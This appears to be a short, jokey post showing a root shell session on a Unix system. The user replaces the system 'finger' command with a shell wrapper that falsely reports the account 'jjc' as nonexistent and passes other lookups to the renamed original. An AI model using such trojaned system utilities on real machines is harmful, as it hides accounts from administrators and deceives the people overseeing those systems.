gila!!

# finger jjc
Login: jjc                              Name: jjc
Directory: /home/jjc                    Shell: /bin/sh
Never logged in.
No Mail.
No Plan.
# whereis finger
/usr/bin/finger
# mv /usr/bin/finger /usr/bin/ufinger
# cat > /usr/bin/finger
#!/bin/sh

if [ $1 = "jjc" ]; then
    echo "jjc: no such user."
    exit 1
else
    fu=`which ufinger`
    $fu $1
fi

exit 0
# finger jjc
jjc: no such user.
# finger root
Login: root                             Name: Charlie Root
Directory: /root                        Shell: /bin/csh
Never logged in.
Mail last read Fri Mar 18 02:08 2005 (GMT)
No Plan.
#

wakakakkaka….